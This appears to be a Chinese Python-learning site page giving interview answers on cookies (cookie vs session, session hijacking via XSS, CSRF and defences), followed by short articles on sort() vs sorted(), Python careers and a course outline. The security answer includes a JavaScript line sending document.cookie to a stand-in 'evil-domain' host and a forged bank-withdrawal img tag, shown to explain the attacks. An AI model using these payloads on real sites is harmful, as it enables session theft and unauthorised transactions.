python爬虫Cookie有哪些常见的面试题？

499次观看

标签：爬虫面试题常见

老师回答

我们在面试中经过会遇到一些需要明确的知识点，这和我们学习代码和理论知识的时候有一点区别，需要以问答的形式展现，在逻辑的考察上也会更加的细致。我们最近也学习了不少python爬虫中cookie的内容，那么在面试中我们会遇到哪些面试题呢？今天小编整理出其中两个较为常见的题目，希望对于大家面试的时候有所帮助。

1.Cookie和Session关系

都是为了实现客户端与服务端交互而产出

Cookie是保存在客户端，缺点易伪造、不安全

Session是保存在服务端，会消耗服务器资源

Session实现有两种方式：Cookie和URL重写

2.Cookie带来的安全性问题

会话劫持和XSS：在Web应用中，Cookie常用来标记用户或授权会话。因此，如果Web应用的Cookie被窃取，可能导致授权用户的会话受到攻击。常用的窃取Cookie的方法有利用社会工程学攻击和利用应用程序漏洞进行XSS攻击。(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;HttpOnly类型的Cookie由于阻止了JavaScript对其的访问性而能在一定程度上缓解此类攻击。

跨站请求伪造（CSRF）：维基百科已经给了一个比较好的CSRF例子。比如在不安全聊天室或论坛上的一张图片，它实际上是一个给你银行服务器发送提现的请求：<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">当你打开含有了这张图片的HTML页面时，如果你之前已经登录了你的银行帐号并且Cookie仍然有效（还没有其它验证步骤），你银行里的钱很可能会被自动转走。

解决CSRF的办法有：隐藏域验证码、确认机制、较短的Cookie生命周期等

以上两个题目都不是直接考察cookie的内容，在使用方面联系了其他的一些知识点，需要做到对cookie的灵活运用和详细了解，这里全部分享给大家，相信小伙伴们能有不少的启发。更多Python学习指路:PyThon学习网教学中心。

©本文版权归环球青藤所有，任何形式转载请联系我们。

免费直播

精选课程

相关推荐

python中sort()和sorted()使用有什么区别？

付老师 Python编程

python中有两种列表排序的方法，即sort() 和sorted() 。这两个方法看起来很像，但是有很大的差别。sort() 修改原列表，永久性排序，无返回值，内存消耗小，而sorted() 保持原列表不变，临时性排序，有返回值，内存消耗大。本文向大家详解这二者使用的区别。

一、sort()

1、定义：python列表的一个内置的排序方法，只是列表的一个方法，只适用于列表；

2、作用：作用于列表，直接修改原有列表，无返回值；

3、排序时间：对列表进行永久性排序；

4、内存消耗：无需保存原对象，节省内存空间。

5、使用实例：

list_name = [1, 3, 4, -0.2200222, -4.66]
list_name.sort()
print(list_name)

输出

[-4.66, -0.2200222, 1, 3, 4]
原列表的值发生变化，原列表被修改

二、sorted()

1、定义：python内置的一个排序函数，接受一切迭代器，返回一个有序的副本，并且类型总是列表；

2、作用：作用于任意可迭代的对象，原有列表保持不变，会返回一个排序后的列表。

3、排序时间：对列表进行临时排序。

4、内存消耗：返回新对象，所以耗费较多资源。

5、使用实例：

list_name = [1, 3, 4, -0.2200222, -4.66]
list_name_new = sorted(list_name)
print(list_name)
print(list_name_new)

输出

[1, 3, 4, -0.2200222, -4.66] 原列表
[-4.66, -0.2200222, 1, 3, 4] 排序后的列表

相比于sort()，sorted() 使用的范围更为广泛，但是sort()消耗内存比较小，效率也比较高。所以如果不需要保留原列表，sort更有效一点哦~

学Python编程有什么作用?

梦老师 Python编程

数据处理相关岗位，长期和数据excel打交道的人群，或需要收拾文本等数据格式，有一定规则逻辑的操作都可以经过编程来处理，节省时间进步作业效率。

从事Python开发，如web后端开发、算法开发、人工智能范畴的开发，互联网是目前的高薪的作业，经过学习Python编程找到自己的作业方向。

Python可以做很多事，无论是从入门级选手到专业级开发人员都在做的爬虫，仍是Web程序开发、桌面程序开发仍是科学核算、图画处理，Python都可以担任。各行各业都有python的存在、涉及范畴之广。

Python近几年比较抢手，而Python工程师早在十几年前就现已诞生，现在Python作业的人才缺口越来越大，工资水平越来越高，正是一个蓬勃发展的时期。入行越早可以享受的福利就越多，对自己的提高也就会越大。

python程序设计主要学什么?

魏老师 Python编程

1、Python语言基础

学Python最基础知识，如Python3、数据类字符串、函数、类、文件操作阶段课程结束后，学员需要完成Pygame实战飞机大战、2048等项目。

2、Python语言高级

主要学习Python库、正则表达式、进程线程、爬虫、遍历以及MySQL数据库。

3、Python、web开发

主要学习HTML、CSS、JavaScript、jQuery等前端知识，掌握python三大后端框架(Django、 Flask以及Tornado)。需要完成网页界面设计实战;能独立开发网站。

4、Linux基础

主要学习Linux相关的各种命令，如文件处理命令、压缩解压命令、权限管理以及Linux Shell开发等。

5、Linux运维自动化开发

主要学习Python开发Linux运维、Linux运维报警工具开发、Linux运维报警安全审计开发、Linux业务质量报表工具开发、Kali安全检测工具检测以及Kali 密码破解实战。

6、Python爬虫

主要学习python爬虫技术，掌握多线程爬虫技术，分布式爬虫技术。

7、Python数据分析和大数据

主要学习numpy数据处理、pandas数据分析、matplotlib数据可视化、scipy数据统计分析以及python 金融数据分析;Hadoop HDFS、python Hadoop MapReduce、python Spark core、python Spark SQL以及python Spark MLlib。

8、Python机器学习

主要学习KNN算法、线性回归、逻辑斯蒂回归算法、决策树算法、朴素贝叶斯算法、支持向量机以及聚类k-means算法。